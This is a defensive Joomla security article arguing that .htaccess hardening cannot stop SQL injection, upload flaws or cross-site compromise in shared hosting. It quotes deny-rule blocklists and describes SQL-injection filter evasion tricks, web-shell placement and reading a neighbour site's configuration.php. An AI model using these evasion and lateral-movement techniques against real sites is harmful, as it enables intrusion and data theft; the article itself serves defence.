CVE-2026-23898 is a high-severity arbitrary file deletion vulnerability (CWE-73, CVSS 4.0 score 8.6) in com_joomlaupdate, the component responsible for keeping Joomla up to date. A lack of input validation in the autoupdate server mechanism allowed deletion of files the PHP process can reach, not just Joomla files, anything the web server user has access to. It affected Joomla 4.0.0 through 5.4.3 and 6.0.0 through 6.0.3, and was fixed in 5.4.4 and 6.0.4.

The point for this article is blunt: the very file you rely on for hardening is one of the first an attacker with a deletion primitive would remove, and the component that could have deleted it was Joomla's own updater. If your entire security posture is a file, your entire security posture is one file-deletion bug away from gone.

So the defence you spent a careful afternoon perfecting can be undone in a single request by a bug in an extension you had forgotten was installed, or, as CVE-2026-23898 shows, by a bug in Joomla core. The lock is only ever as strong as the weakest extension's ability to reach the door frame, and in a typical Joomla site with twenty or thirty third-party extensions, a great many of them can reach the door frame. Betting your security on the integrity of a file that dozens of code paths can write to or delete is not a strong position.

Would a stricter default .htaccess have stopped last month's hacks?

No. Not one of them. I went back through every Joomla SQL injection and every unauthenticated upload-to-remote-code-execution flaw we confirmed in the last month, and a stricter default .htaccess, the kind now being proposed, one that restricts entry points and whitelists a handful of locations, would not have prevented a single one. That is not a rhetorical flourish. It is the direct consequence of the mechanic above: those exploits all arrive as ordinary requests to index.php, and index.php is the one entry point any workable whitelist has to keep open. You would have been compromised on exactly the same day, in exactly the same way, with or without the extra rules.

What a stricter .htaccess changes is not whether the intruder gets in, but what he finds once he is inside, and even that he routes around in seconds. Picture the break-in properly. He is already through the front door, because the SQL injection or the upload flaw let him walk in through index.php. Now he wants to leave himself a web shell somewhere it will run. The media cupboard is bolted, the tmp room is locked, a couple of the internal doors are shut, because your shiny default .htaccess whitelisted three folders and denied the rest. So he does the digital equivalent of finding the downstairs toilet locked and simply relieving himself in the garage instead. He writes his shell into one of the many writable locations your three-folder whitelist never covered. Or he skips dropping a file altogether: he uses the same hole to add himself a Super User account, or to inject a malicious template override that Joomla itself will execute, and runs his code straight through the front controller. The locked internal doors did not stop him. They only decided which room he wrecked.

And some of last month's flaws do not even fit that picture, because nothing is ever dropped, executed or hidden. Take the Events Booking invoice leak we disclosed. A stricter default .htaccess, even the entry-point-restricting kind now being proposed, would have waved it straight through, because the whole attack is a single ordinary GET to index.php, the one endpoint the rule is built to allow. There is no shell, no .php file, no payload of any kind for a rule to catch. The attacker just increments the ID in the web address and the server hands back another registrant's invoice: full name, postal address, email, and the amount they paid. So the strictest whitelist you can write still leaves the personal and financial data of every attendee readable by anyone on the internet, because reading it never looked like an attack in the first place. It looked exactly like a visitor collecting their own receipt.

Technical detail: what a whitelist of locations actually blocks

A restricted-entry-point .htaccess typically does two things: rewrite unknown paths to index.php, and deny direct execution of .php files outside a small allow-list, using a <FilesMatch> block or a RewriteRule that 403s any .php request that is not index.php. That stops exactly one move: browsing directly to a shell at /images/evil.php. It does nothing about the SQL injection, the upload flaw, the add-an-admin, the template-override injection, or the PHP object injection, because every one of those executes through index.php, which is allow-listed by necessity.

Nor does it stop a shell written into any directory the rule did not enumerate, and Joomla writes to far more than three folders: tmp/, cache/, administrator/cache/, logs/, per-extension upload paths, avatar directories, and more. Whitelisting images, media and files is not a perimeter. It is three locked doors in a house full of open windows, and the attacker only has to notice one window.

And "whitelist a few example locations" is more fragile than it sounds precisely because Joomla and its extensions scatter writable, sometimes web-served, directories all over the tree. Why lock the fridge and leave the freezer standing open beside it? A default that only reasons about three of them hands users a powerful feeling of coverage that the filesystem does not back up. Worse, every legitimate extension that writes or serves from a non-whitelisted path now breaks with a bare 403 and no clue as to why, which is the definition of a silent breaking change. And a user who cannot read the .htaccess well enough to add a precise exception has exactly one obvious fix when their gallery or forms extension stops working: delete the whole file. One broken feature, and every rule you shipped to protect them goes in the bin together.

There is a further problem the whitelist creates rather than solves, and it follows directly from what it chooses to allow. The whole point of that allow-list is to permit images, PDFs and text files while refusing executables. But an attacker who can write those does not need code execution to get value out of your server. A file he can upload anonymously and have you serve from your own domain is free, hard-to-trace storage that points at you rather than at him: a malware payload, the images for someone else's phishing page, a text file staged for the next step of an attack, all hosted by you, delivered under your reputation, and traced back to your IP. We have watched exactly this in the unauthenticated upload flaws we reported in Events Booking and Membership Pro, where dropping a file was the foothold, not the finish. Whitelisting the "safe" extensions does not close that door, it blesses it: the folder is still a drop box, the file is still served, and your webspace is still doing an attacker's storage for him.

The honest exception: when something did block one, it was not the .htaccess

In fairness, one of the vulnerabilities we disclosed was stopped on some sites before it ever reached the vulnerable code, so it is worth being precise about what stopped it. It was Admin Tools' web application firewall catching the SQL injection payload at runtime, not the .htaccess that the same product's .htaccess Maker generates. Those are two separate features that happen to ship inside one extension, and people conflate them constantly. The WAF is PHP, running inside the request, able to inspect parameter values after Joomla has parsed them, which is exactly the layer a .htaccess cannot reach. Give the credit to the thing that earned it.

And even that is thinner than it looks, because it is a toggle. The SQLi filter sits on a settings screen, alongside other filters that occasionally throw a false positive on a legitimate request, and it is one click away from being switched off by an administrator who does not know what SQL injection is and only knows that turning that thing off made the complaint stop. A protection that depends on a checkbox nobody understands staying ticked is not a protection you can count on. It also never fixed the vulnerable query sitting behind it, which is still there, still waiting, on every site where the box gets unticked.

Now for the part that should genuinely worry you, because it is how most of these break-ins actually finish. Your beautifully hardened live site does not live alone. It shares a hosting account, a filesystem, and very often a single PHP process, with every other site in that account. And one of those other sites is the dev copy you spun up on a subdomain two years ago, never updated, still running test / test as the Super User password because it was "only a test site". The attacker does not pick a single one of your expensive new locks. He walks into the neighbour you forgot about, through the connecting door, and comes out inside your live site's files. Your garage had an internal door into the kitchen, and you left the garage unlocked.

The weakest site in your webspace is the way in

Running many domains and many different applications, a Joomla site here, a couple of WordPress sites there, an old Drupal thing nobody remembers installing, inside a single webspace is a serious mistake. Do not do it. The reason is simple. If an attacker compromises just one file, they can infect and reinfect every file and every site in that webspace, and in the worst case they can delete all of them. Hack one, hack all. This argument alone should end the "let's just ship a stricter default .htaccess" conversation, because it is a dominant real-world compromise path and a .htaccess can do nothing about it.

A quick definition, because the webspace is the unit that actually matters here and almost nobody thinks in it. On a cPanel server, a webspace is a single cPanel account together with its public_html folder. Everything below that folder shares the same space, however many separate domains, subdomains and applications you have pointed at it:

./public_html/dev
./public_html/old
./public_html/new
./public_html/anotherdomain.com
./thisdomain.com
./subdomain.domain.com

Those are not six sites in any sense the operating system recognises. They are six folders belonging to one user, and that user is the one PHP runs as. They share a filesystem, and very often a single PHP-FPM pool. To the server there is no live site and no dev site, no Joomla and no WordPress, no client A and no client B. There are just folders, and they all belong to the same person. The .htaccess on your best-defended site has no vote in any of this, because the file that gets compromised is not going to be on your best-defended site.

The consequence is brutally simple. Whoever compromises the weakest site in that account very often gets read and write access to all of them, because to the operating system they are all just files owned by the same user. The attacker who cannot find a bug in your fully patched, carefully hardened live Joomla does not sit there hammering it. He enumerates the account, finds dev.yoursite.com running a three-year-old Joomla with a known unauthenticated RCE and test/test credentials, pops it in seconds, and from that foothold reads your live site's configuration.php, connects to the very same database, writes a shell into your live document root, or just inserts himself an administrator row. Every .htaccess rule on your live site is beside the point, because he never sent a single HTTP request to your live site at all.

Technical detail: one Unix user, every site

On typical shared hosting, all of an account's sites run as a single Unix user, often through one PHP-FPM pool, with open_basedir either unset or scoped to the whole account rather than per-vhost. So PHP running on the compromised dev site can fopen(), include() and unlink() files belonging to the live site, because at the OS level they are all the same user's files. The live site's configuration.php is readable to that user by necessity, so its database name, user and password are one file_get_contents() away, and the database is usually reachable from any site in the account.

No web request is ever made to the live site, so no rule in its .htaccess, restrictive or not, is ever consulted. Real isolation has to happen at the hosting layer, with separate users per site, per-site PHP pools, and CageFS-style jails. That is not something any .htaccess can provide, and no default Joomla ships can create it.

This bites hardest with development sites, and they deserve singling out, because the pattern is so reliable it is close to a law. A dev site should never share a webspace with a live one. It always goes the same way. The dev copy is spun up in a hurry, it does its job, and then it is abandoned. Nobody updates it, because it is "only a test site" and keeping it patched was never anybody's job. It falls out of date. It turns vulnerable. And because it is sitting in a folder called dev, or new, or old, or staging, or test, an attacker's scanner finds it without needing any cleverness whatsoever, since those are the first names on the list it was going to try anyway. Then it is brute force against test/test, or a vulnerability disclosed last month that this copy will never be given the patch for, and they are in. Not in the dev site. In the webspace, and your live site is in the webspace.

I have watched this at scale, and the scale is the part people refuse to believe until it happens to them. Some GoDaddy Reseller plans pack hundreds of sites into a single account, which is to say a single shared webspace. In one case, one old and vulnerable site led to more than a hundred sites being hacked at once. Every file was infected with a different hacker string, so there was no pattern to match and no find-and-replace that would clean it. And the cleanup was not merely hard, it was impossible in place: not one of those sites could be cleaned until each had been moved into its own isolated webspace first, because anything cleaned would be reinfected within minutes by the compromised sites still sitting beside it. The infection was not in a site. It was in the space.

So the best practice here is one line long, and it is not a rewrite rule. Give every site its own isolated webspace: one site, one account, one Unix user, one public_html. It costs more than cramming a dozen sites into the plan you are already paying for, and it is worth every penny, because it is the difference between "hack one, hack all" and "hack one, hack one".

A default .htaccess that restricts entry points does absolutely nothing about this, and it cannot, because the attack never touches your site's entry points. This is exactly why we care so much about knowing the version and patch state of every site in an account, not just the flagship one. The abandoned, unmonitored, unpatched site is not a low-priority afterthought to clean up later. It is very often the actual front door, standing wide open, while you are busy polishing the locks on a door nobody is even trying.

Who decided viagra was a dangerous word?

Here is where the theatre becomes impossible to unsee. Joomla's own htaccess security examples documentation still recommends a "Basic antispam Filter" that forbids any request whose query string contains a hardcoded list of pharmaceutical and drug words:

########## Begin - Basic antispam Filter, by SigSiu.net
## This code uses PCRE and works only with Apache 2.x.
RewriteCond %{QUERY_STRING} \b(ambien|blue\spill|cialis|cocaine|erectile)\b [NC,OR]
RewriteCond %{QUERY_STRING} \b(erections|hoodia|impotence|levitra|libido)\b [NC,OR]
RewriteCond %{QUERY_STRING} \b(lipitor|phentermin|tramadol|ultram|valium)\b [NC,OR]
RewriteCond %{QUERY_STRING} \b(viagra|vicodin|xanax|huronriveracres|troyhamby)\b [NC]
RewriteRule .* - [F]
########## End - Basic antispam Filter

That [F] means forbidden. Any request whose query string trips one of those words gets a 403, no page, no explanation. Now ask the obvious question that nobody who pasted this rule ever seems to ask. What if your site is a pharmacy? A men's-health clinic? A GP surgery whose article search passes the query as ?q=erectile+dysfunction? A sexual-health charity? An addiction-recovery service whose visitors are literally searching for "valium", "xanax" and "tramadol" because those are the things they are trying to stop? Every one of those sites now serves 403 errors on legitimate searches, and the owner has no idea why, because nobody reads the .htaccess they pasted in three years ago, and a 403 on a search result is exactly the kind of intermittent failure that never gets diagnosed.

So ask the deeper question. Why does the Joomla project get to decide, by default, which words your visitors are allowed to type into a search box on your own website? Nobody voted for that. It is a values judgement about content, baked into a security file, shipped to everyone. And then look closer at the list, because it gives the game away. huronriveracres, troyhamby, sandyauer, ypxaieo, unicauca: those are not drugs. They are fossilised referrer-spam and comment-spam tokens from mid-2000s blocklists, from the MT-Blacklist and referrer-spam era, the same corpus that circulated in things like the old "Ultimate htaccess Blacklist". They mean nothing today. They are in a Joomla security example in 2026 because they were copied forward, file to file, site to site, for close to twenty years by people who never questioned a single line of what they were pasting. The block even carries the tell "I removed some common words, tweak to your liking", the fingerprint of a hand-me-down list nobody actually owns.

Every blocklist loses to the person you are blocking

There is a deeper problem here, and it does not stop at the pharmaceutical filter. It applies to the user-agent blocks, the bad-referrer blocks, the SQL-keyword blocks, and every other "deny these known-bad strings" rule that these hardening guides ship. The attacker controls the request, completely.

A blocklist can only ever contain the bad things you already know about. That is its fundamental, unfixable weakness. The instant an attacker uses a user-agent string, a query word, a referrer or a payload encoding that you did not put on your list, and doing so costs them nothing, a single character change, a different scanner, a fresh string, they sail straight through as if the rule were not there. Blocking libwww or wget or python-requests in your user-agent rules stops precisely the lazy, and the lazy simply set their user-agent to Mozilla/5.0 and try again. This is the security anti-pattern that has been understood for decades: you cannot enumerate all the badness in the world, you can only enumerate the tiny, stale subset you have personally heard of, which means a deny-list is permanently one step behind whoever it is pointed at.

Technical detail: why a regex blocklist never holds

Take a filter that blocks the string union select. The attacker sends uni%6fn%20sel%65ct (URL-encoded), or union/**/select (an inline SQL comment splitting the keyword), or UnIoN SeLeCt (case variation), or double-URL-encodes it so your rule sees a harmless %2575nion that Apache only decodes to union after your RewriteCond has already passed it, or splits the payload across two request parameters your single-line regex was never going to join up.

The same is true of user-agent and referrer blocks: those are attacker-supplied strings, changed with a one-line header edit. A blocklist is, at best, a list of the disguises you have already seen someone wear. The attacker's entire job is to turn up in one you haven't, and there are infinitely many of those.

And it fails in both directions at once, which is the worst possible outcome. It never stops a competent attacker, because they just pick a string that is not on your list. And it does keep blocking your real visitors, your real customers, your real search traffic, because they occasionally trip a fossilised entry that nobody remembers adding and nobody dares remove. No security benefit against anyone who is actually trying, plus a permanent trickle of broken legitimate traffic and mystery 403s. If you are going to control access at all, you allow-list what is known-good, or better still you fix the code so it does not matter what the input is. You do not play whack-a-mole with a list of bad words and call it hardening.

Burning CPU to block a threat PHP deleted in 2013

The same Joomla documentation ships a rule to "Disallow PHP Easter Eggs", complete with references for further reading:

## Disallow PHP Easter Eggs (fingerprinting the PHP version).
## See http://www.0php.com/php_easter_egg.php and http://osvdb.org/12184
RewriteCond %{QUERY_STRING} \=PHP[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12} [NC]
RewriteRule .* - [F]

PHP Easter eggs were the magic GUID query strings, like ?=PHPE9568F34-D428-11d2-A769-00AA001ACF42, that made old PHP versions echo back a hidden logo or the credits page, which a scanner could use to fingerprint the exact PHP version. There are three separate things wrong with still defending against them in 2026, and together they make this rule a small monument to how .htaccess hardening actually ages.

First, the threat no longer exists. PHP removed the Easter eggs entirely in PHP 5.5, released on 20 June 2013. The magic GUIDs "no longer have any special functionality" from that release onward. Joomla 4 requires PHP 7.2.5 as an absolute floor, and Joomla 5 and 6 require PHP 8.x. There is no PHP version that any supported Joomla can even run on that still has the feature this rule is guarding against. It is a regular expression evaluated against the query string of every single request, forever, to defend against something that was deleted from the language more than a decade ago.

Second, even back when the Easter eggs were real, a rewrite rule was never the right fix. The correct mitigation was, and is, one line in php.ini:

expose_php = Off

That single directive suppresses the Easter-egg GUIDs and the X-Powered-By: PHP/8.x response header, at the engine layer, once, with zero per-request cost. It is a server-layer concern, and it belongs in server-layer configuration, not in a per-request regular expression at the back of the stack. The .htaccess version does a worse version of the same job, more expensively, on every hit, and only covers the GUID half while leaving the X-Powered-By header it was worried about untouched.

Third, the rule's own references are dead. It points you at osvdb.org/12184 for more information, and OSVDB, the Open Sourced Vulnerability Database, shut down permanently on 5 April 2016. The other reference, 0php.com, is a long-defunct mid-2000s site. So here is a rule, shipped in current Joomla documentation, that mitigates a class of bug PHP deleted 13 years ago, at the wrong layer, citing two reference sites that no longer exist. That is not an outlier. That is what an awful lot of .htaccess hardening quietly is: a pile of rules nobody understands, guarding threats that are gone, copied between sites by people who assume that more rules must mean more safety.

And every one of those dead rules has a running cost. Apache's own documentation is blunt about it: when .htaccess is enabled, "httpd will look in every directory for .htaccess files", and it does so "whether or not you actually even use them". Worse, it walks the entire directory tree to assemble the rules: a request under /www/htdocs/example/ forces Apache to look for .htaccess in /, /www/, /www/htdocs/ and /www/htdocs/example/, "4 additional file-system accesses, even if none of those files are present", on every single request. More rules, in more files, deeper trees, is slower and occasionally less secure, not more.

What Joomla actually ships, and why nobody reads it

To be fair to Joomla, it does try, and the effort is not the problem. The problem is that the effort reaches nobody, because the thing it produces is unreadable to almost everyone who receives it.

Joomla ships a preconfigured htaccess.txt in the site root, which you have to manually rename to .htaccess, and which is tied to switching on SEF URLs in Global Configuration, so it is not even active on a default install. In current Joomla that file runs to over 150 lines: mod_rewrite exploit-prevention rules, a custom redirect section, the SEF URL rules for both the API and the front end, GZIP and Brotli compression, and content-type and SVG security headers. The documentation warns you, in bold, not to edit htaccess.txt directly, because a Joomla update will overwrite it and silently discard whatever you changed. There is a post-installation message announcing new .htaccess features, carrying advice that, in practice, almost nobody follows, because a 150-line .htaccess is regex wizardry that only a small minority of Joomla users can actually read, let alone safely modify. The net result is a powerful, fragile file that is shipped disabled, must not be edited where it lives, and is understood by a fraction of the people who depend on it.

There is also a more defensible road the proposal does not take, which is telling in itself. Joomla already ships small, tightly-scoped .htaccess files inside individual folders. libraries/.htaccess, for one, is three lines that simply deny direct access to that directory. That per-folder approach, a specific deny rule in the specific folder that needs it, is far sounder than one sprawling regex at the root, and yet there is no real discussion of leaning on it: of shipping targeted deny rules in the handful of writable directories that actually matter, rather than a giant front-door filter. But even the better idea hits the same wall as everything else here. Those subfolder files do precisely nothing on Nginx, Caddy, or behind a cache, so on the majority of the web that is no longer plain Apache they are wasted bytes radiating the same false sense of security as the big file at the top.

Akeeba's Admin Tools is the closest anyone in the ecosystem comes to doing this properly, and it deserves credit. Its .htaccess Maker gives you checkbox toggles with real documentation attached to each option, so you are choosing behaviours rather than hand-writing PCRE you do not understand. To its further credit, it does not pretend the world is only Apache: it also ships an Nginx Maker and a web.config maker. But look closely at what deploying the non-Apache versions actually takes, because it exposes the whole problem. Admin Tools' own Nginx documentation says it in capitals: the generated config has to be manually included in your site's server definition, and then "modifying the NginX configuration has NO EFFECT until you reload or restart the NginX server". A site owner on shared hosting cannot reload Nginx. They have no shell, no root, no access to the server definition file. So the one server family where the average Joomla user can actually deploy the output themselves is Apache, and only because Apache re-reads .htaccess on every request with no reload required, which, as we just saw, is the exact behaviour that also makes it a measurable performance drain. Do this properly across web servers and you need server-level access most Joomla users do not have. Do it the easy way and you are back to Apache alone. The best tool in the ecosystem cannot escape the fact that the format only self-deploys on one server.

Admin Tools' HTAccessMaker is genuinely good, and still not the answer

I just called it the closest anyone comes to doing this properly, so let me make good on that, because the .htaccess its HTAccessMaker writes is genuinely very good, and it mutes a great deal of what I have argued above. I would rather concede that openly than pretend the best version of the thing is as weak as the worst.

It ships none of the fossils. No pharmaceutical blocklist, no dead Easter-egg regex, no twenty-year-old referrer-spam tokens. What you get instead is the short list of jobs a .htaccess is actually good at, done cleanly and from checkboxes rather than hand-cut PCRE: force HTTPS, disable directory listings, block direct access to configuration.php-dist and htaccess.txt, neutralise SVG script execution, set the clickjacking, MIME and reflected-XSS headers, and restrict the administrator area by IP with proper support for reading the real visitor address back from Cloudflare, Sucuri or BunnyCDN. It previews the exact file before writing it and backs the old one up to .htaccess.admintools first, which defuses the "one typo and the whole site 500s" objection better than anything else in the ecosystem.

And here is the detail that should settle the argument rather than soften it: Akeeba is honest about the limits in its own documentation. Of the user-agent blocklist it ships, the docs say in capitals that it "IS NOT A SECURITY FEATURE", because the client controls that header, which is exactly the point I made earlier about every blocklist. When the best tool in the space tells you, in its own manual, that a chunk of what people treat as hardening is not security, this article is not a fringe position. It is the vendor's own words.

So use it. If you have Admin Tools Professional, its HTAccessMaker is the right way to do the narrow jobs, and I would far rather you ran it than hand-edited anything yourself. But notice the three things it cannot change. It is still a .htaccess, so every structural limit above survives it untouched: the file itself cannot see the SQL injection or the unauthenticated upload arriving through index.php (Admin Tools' separate web application firewall can and does detect and block a SQL injection at runtime when you have that feature switched on, but that is the PHP WAF earning the credit, not the .htaccess it also generates, the exact distinction I drew earlier), it runs on Apache alone, and a deeper .htaccess dropped into your uploads folder still out-nests it. It is a commercial product, a paid Professional feature that the free edition and every non-Apache site never get. And it is only ever as good as the administrator ticking the boxes, which is the quiet catch in any checkbox tool: it can express a decision safely, but it cannot make the decision for you or understand your server on your behalf. Akeeba says as much plainly, warning that depending on your server settings some options "may be incompatible with your site", and when they are you get "a blank page or an Internal Server Error 500 error page" on every request. Some options assume Apache modules that are not always switched on: a prepackaged stack like WAMPServer ships with mod_rewrite off by default, and a rule that needs it will 500 the whole site until someone works out why. The preview, the backup and the delete-it-over-FTP escape hatch all exist precisely because a wrong choice takes the site down.

A superb .htaccess is still a .htaccess. HTAccessMaker makes the narrow layer about as good as the narrow layer can be. It does not turn it into a different layer.

Genuine reasons Joomla code needs direct PHP access

The flip side of "only approved entry points may run" is that a great deal of legitimate software has a real, designed need for direct PHP access somewhere in the webspace, and locking that down by default breaks working sites and working tools.

Start with the assumption the whole proposal quietly rests on: that a webspace is a Joomla-only place. In the real world it almost never is. An agency runs all sorts of things inside one account: a Joomla site, a couple of WordPress installs, a static microsite, a standalone PHP form handler, a scheduled script, an old bespoke app nobody has touched in years. The account is reused for many purposes and Joomla is only one tenant in it. A default that treats every .php file in the space as either Joomla's or an attacker's is being narrow-visioned about how these servers are genuinely used, and it breaks the neighbours it was never entitled to make assumptions about in the first place.

The Joomla project does not have to look far for examples, because its own ecosystem is full of them, which is why the counter-examples in that entry-point discussion came from the most respected developers in the community, not from cowboys. We already met the two sharpest cases at the top of this article: Akeeba's kickstart.php, a standalone script that has to run outside Joomla precisely because it rebuilds a site where Joomla may be broken or absent, and Joomla's own updater handing index.php straight to extract.php to unpack a new copy of the very software it is replacing. Those are not sloppy design. They are recovery tools doing the one job you cannot route through a running Joomla, and a blanket "only approved entry points may run" rule breaks them by definition. That is the awkward truth sitting underneath the proposal: the direct-access pattern it wants to forbid is one the project itself depends on.

Third-party developers hit the softer version of this constantly. Explaining to a customer that they must edit a .htaccess to whitelist an endpoint, just so a plugin's own PHP file can be reached directly, is a genuinely hard support conversation, and the framing that they must "downgrade their security" to make the plugin work is misleading and unfair. It implies the plugin is insecure, when the direct access may be a perfectly safe, deliberate feature of how it is built. The access is part of the design, not a hole in it, and there is a real difference between a file that is reachable and a file that is exploitable.

Tools like mySites.guru sit squarely in this category, and here the direct access is not a convenience, it is the entire point. The connector is written to be semi-independent of Joomla precisely so that it keeps working when Joomla does not, and that independence matters most at the exact moment you need it: when the site is hacked, when it is down, when core files have been deleted, when the database is unreachable, when Joomla is throwing a fatal error on every page. An external monitor that could only ever talk to you through a healthy Joomla would go blind at the precise instant Joomla broke, which is the one moment you most need eyes on the site. Direct access to its own dedicated endpoint is what lets an independent watcher stay independent of the thing it is watching. Forbid that by default and you do not make the site more secure, you blind the tools that were going to tell you it had been attacked.

.htaccess is an Apache feature, not a web standard

Step back far enough and the entire premise looks shakier still, because .htaccess is not a standard at all. It is an Apache implementation detail, one web server's particular way of doing per-directory configuration, and Apache is no longer how most of the web is served. Plenty of houses have no fridge to lock and no toilet door to bolt. Nginx, Caddy, Cloudflare, Node and every other server that never adopted Apache's per-directory model are all perfectly happy homes that simply do not have the fixture you are selling a lock for, and no amount of insisting on the lock will conjure one into their kitchen.

By W3Techs' current figures, both Nginx and Cloudflare now sit above Apache in web-server usage, with LiteSpeed close behind. Roughly three quarters of the web is not "plain Apache reading your .htaccess on every request", and of the major players:

Nginx does not read .htaccess at all, and this is by design, not an oversight. Its own documentation states plainly that Nginx does not support per-directory configuration files, so every rule has to be converted into central configuration that is loaded once, not re-read from the filesystem on every request.
Cloudflare sits in front of your origin entirely, and is configured at the edge through its own rules engine. It has never heard of your .htaccess and never will.
Caddy serves automatic HTTPS and HTTP/2 out of the box from a single central Caddyfile, with no per-directory model. Its maintainers have explained plainly why they will not add .htaccess support: it would mean building an Apache configuration parser in Go, recursively scanning directories for these files on every request, and running dynamic handlers based on their contents, all of which runs directly counter to how a modern, performant server is designed. It is not a small ask and it is not on the roadmap.
LiteSpeed does read .htaccess, and this is the one that confuses people into thinking the format is a standard. It is not. LiteSpeed chose to honour Apache's rewrite rules as a compatibility convenience, to make migration off Apache painless. Those are still Apache configuration files being tolerated by a different server, not a neutral cross-server standard that everyone agreed to implement.
IIS uses web.config, which Joomla ships as web.config.txt, and which, by the Joomla team's own admission, carries weaker settings and lags behind the .htaccess rules.

And even that asterisk on LiteSpeed needs an asterisk of its own. LiteSpeed Enterprise genuinely does re-implement Apache's rewrite engine and honours a good deal of a .htaccess: rewrite rules, headers, expiry, basic auth, php_value, re-read from the file per request much as Apache does it. But the compatibility is partial, and worse, it fails silently. Per-directory mod_security rules are quietly ignored, mod_deflate and gzip directives are dropped in favour of native vhost settings, SetEnv values may never reach PHP, and a whole list of Apache modules is passed over without a word. A rule that protects you on Apache can sit in the exact same file on LiteSpeed doing nothing at all, with no error to tell you it has stopped working. The free, open-source sibling is worse still: in practice OpenLiteSpeed does not read .htaccess files at all, treating that as an Enterprise-only feature, while its admin panel cheerfully offers .htaccess options that produce no result, so your rewrites have to be hand-configured as static contexts or they simply never run. "LiteSpeed supports .htaccess" turns out to mean one paid edition supports most of it and silently discards the rest, while the free edition barely reads it. A security file whose rules half-apply depending on which build of which non-Apache server happens to be underneath is the exact opposite of a control you can rely on.

That is the point people miss when they treat the .htaccess as "the security file". More than one server tolerating a format does not promote it to a standard; it just means Apache's format leaked into a couple of neighbours. Anything you build on top of it is, by definition, Apache-specific, and increasingly a minority case.

WordPress, for comparison, powers an enormous share of the web on a default .htaccess of just seven rules:

# BEGIN WordPress
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress

Seven rules. No pharmaceutical blocklist, no Easter-egg regex, no fossilised referrer-spam tokens. WordPress leans on secure-by-design core and its plugin ecosystem, for better and for worse, rather than pretending the rewrite file is a firewall. It is not that WordPress got security right and Joomla got it wrong; both have plenty of plugin and extension vulnerabilities. It is that WordPress never asked its .htaccess to do a job the .htaccess cannot do.

The ground is shifting under Apache, and Cloudflare is hiding how fast

I quoted a single snapshot of those figures earlier. Look at the twelve-year trend instead and the direction is unmistakable. As I write this, W3Techs has Nginx at 31.5%, Cloudflare's own server at 29.0%, Apache at 23.1% and LiteSpeed at 15.1%. A year ago Apache was on 26.0% and Cloudflare on 24.0%: in twelve months Apache shed nearly three points while Cloudflare gained five, and that is not a blip, it is the shape of the whole decade. Apache sliding, Nginx and the edge rising. The one server the entire .htaccess argument depends on is the one steadily losing ground.

But those figures deserve less confidence than the people quoting them tend to give them, mine included, and the reason cuts against my own argument as hard as it cuts for it. These surveys identify a site's web server from the Server response header, and Cloudflare rewrites that header to cloudflare for every site it proxies, whatever is actually running at the origin behind it. A site served by Apache behind Cloudflare is therefore counted as Cloudflare, not Apache. Every Apache origin hiding inside that 29% Cloudflare bucket is an Apache install the survey never sees. The honest consequence is that Apache is almost certainly more common than 23% makes it look, quite possibly more common than Nginx, and we simply cannot know by how much, because the proxy that masks it now fronts more than a fifth of the web. We will never really know the true numbers.

Which sounds like it rescues the .htaccess, and does precisely the opposite. Every one of those hidden Apache sites has a Cloudflare edge sitting in front of it, and that helps the file not at all: the edge can answer a request from cache without it ever reaching Apache or its .htaccess, and the edge is where the real hardening belongs, the very layer Joomla offers not one line of guidance for. The masking does not prove your .htaccess still matters. It proves it now sits even further back, behind even more that runs before it, than the raw share numbers admit.

On a fresh Apache server, your .htaccess is ignored by default

Here is a fact that surprises most Joomla site owners: on a brand-new Apache install, your .htaccess does nothing at all. Not "less than you think", literally nothing. Since Apache 2.3.9, released back in 2011, the shipped default has been AllowOverride None, which tells Apache not to read .htaccess files anywhere on the server. Every rule you carefully wrote, every SEF rewrite, every hardening directive, every deny rule, is sitting in a file Apache has been explicitly instructed never to open.

Those rules only begin to work the moment a server administrator opens the main Apache configuration, httpd.conf, a vhost file, or apache2.conf on Debian and Ubuntu, and changes the <Directory> block covering your document root to AllowOverride All, or at least to the specific override classes your rules require. This is exactly why "I renamed htaccess.txt to .htaccess and my SEF URLs still don't work" is one of the most common questions a new-server Joomla install produces. The rewrites are not broken and the file is not wrong. Apache was simply never told to read it, so it doesn't.

Sit with what that means for the mental model. The single most important decision about whether your .htaccess runs at all is not made in your .htaccess. It is made in server configuration that you usually cannot see, that on shared hosting you cannot change, and about which you are never notified. Your "security file" is opt-in, off by default on a fresh server, and someone else entirely holds the switch.

Technical detail: AllowOverride and the override classes

AllowOverride lives in a <Directory> block in the main Apache config, never in the .htaccess itself, and its default since Apache 2.3.9 (2011) is None, meaning matching .htaccess files are not even opened. To make Joomla's SEF rewrites run you need at least AllowOverride FileInfo (which permits mod_rewrite directives); a full hardening .htaccess typically also needs Options, Limit and AuthConfig, which is why hosts usually just grant AllowOverride All and be done with it.

On managed shared hosting the control panel sets this for you, so you never see it. On an unmanaged server or a fresh VPS, nothing does, so a freshly renamed .htaccess is completely inert until you edit the server config by hand. And because AllowOverride is evaluated per-directory from the top of the tree down, a single broad AllowOverride None higher up silently disables every .htaccess beneath it in one line.

And the switch flips both ways, at times you do not choose. A host tuning for performance may deliberately set AllowOverride None across the whole box, because Apache's own documentation recommends exactly that, moving rules up into the main config, for speed, and in doing so quietly retires every .htaccess on the server. A migration to a new server, a control-panel rebuild, a move onto a hardened base image, any of these can reset AllowOverride to its default and switch your entire hardening layer off without a single character of your .htaccess ever changing. You would not see an error. The rules would simply stop applying, and unless you were actively testing for them, you would never notice. A security control that defaults to off, and that someone else can silently switch off again at any time, is not a foundation to build on.

Your .htaccess is buried behind proxies you don't control

There is one more layer to this that almost nobody accounts for, and it has quietly become the norm rather than the exception. Most serious sites no longer serve requests from a single Apache instance. They serve them from a stack.

A very common modern arrangement is Cloudflare in front of Nginx in front of Apache with PHP-FPM behind it, or Nginx as a caching reverse proxy in front of Apache, which is now a standard cPanel configuration. In every one of those stacks, your Apache .htaccess sits at the very back, and it only has any say once a request has already travelled through everything in front of it. It governs one hop of the journey, the Apache leg, and it is blind and powerless for the rest.

